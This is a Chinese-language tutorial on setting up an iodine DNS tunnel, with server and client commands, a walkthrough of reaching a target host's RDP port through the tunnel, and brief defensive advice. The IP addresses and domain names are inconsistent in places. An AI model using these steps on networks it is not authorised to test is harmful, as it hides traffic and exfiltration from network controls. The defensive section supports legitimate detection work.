iodine可以通過一台dns服務器制造一個IPv4數據通道,特別適合在目標主機只能發送dns請求的網絡中環境中使用。iodine是基於C語言開發的,分為服務端程序iodined和客戶端程序iodine。iodine支持EDNS、base32,base64,base128等多種編碼規范。
iodine支持直接轉發和中繼兩種模式,其原理是通過TAP虛擬網卡,在服務端建立一個局域網;在客戶端,通過TAP建立一個虛擬網卡;兩者通過DNS隧道連接,處於同一局域網(可以通過ping命令通信)。在客戶端和服務端之間建立連接后,客戶機上會多出一塊“dns0”的虛擬網卡。
DNS隧道流程:iodine客戶端->DNS服務商->iodined服務端,由於客戶端和服務端都在同一個局域網,那么只需要直接訪問服務端,如3389,就直接mstsc、10.0.0.1:3389。
更多使用方法和功能特性請參考官方文檔
https://code.kryo.se/iodine/

(1)安裝服務端
首先設置域名,要盡可能的使用短域名,域名越短,隧道的帶寬消耗就越小。設置A記錄iodine服務器的IP地址,將NS記錄指向此子域。

安裝iodine服務端,如果是在windows中,需要安裝編譯好的對應版本的iodine。
apt-get install iodine
運行iodine服務端iodined
iodined -f -c -P Micr067 192.168.0.1 vpn.abc.com -DD
-f:在前台運行
-c:禁止檢查所有傳入請求的客戶端IP地址。
-P:客戶端和服務端之間用於驗證身份的密碼。
-D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。
這里的192.168.0.1是自定義的局域網虛擬IP地址。

(2)安裝客戶端
linux環境:
iodine -f -P Micr067 vpn.abc.ltd -M 200
-r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道
-M:指定上行主機的大小。
-m:調節最大下行分片的大小。
-T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定數據編碼規范。
-L:指定是否開啟懶惰模式,默認開啟。
-I:指定兩個請求之間的時間間隔。
windows環境:
windows客戶端可以直接使用編譯好的windows版本,同時需要安裝TAP網卡驅動程序。也可以下載OpenVPN,在安裝時僅選擇TAP-Win32驅動程序,安裝后服務器上就會多出一塊“TAP-Wndows ADApter V9”的網卡。
運行客戶端程序iodine,如果出現提示“Connection setup complete, transmitting data”,就表示DNS隧道已經建立。
iodine -f -P Micr067 vpn.abc.com

此時,TCP over DNS已經建立,在客戶端執行“ping 192.168.0.1”測試是否連通。

(3)使用DNS隧道
DNS隧道的使用方法比較簡單,由於客戶端和服務端在同一局域網中,只要直接訪問服務端即可,例如,登錄目標主機的3389端口,就可以直接執行 mstsc 10.0.0.1:3389。同樣,目標主機也可以直接通過ssh登錄服務端。
(4)防御DNS隧道攻擊的方法
1.禁止網絡中任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信。
2.雖然沒有人會將TXT解析請求發送給DNS服務器,但是郵件服務器/網關會這樣做,因此,可以將郵件服務器/網關列入白名單並阻止傳入和傳出流量中的TXT請求。
3.跟蹤用戶的DNS查詢次數,如果達到閾值,就生成相應的報告。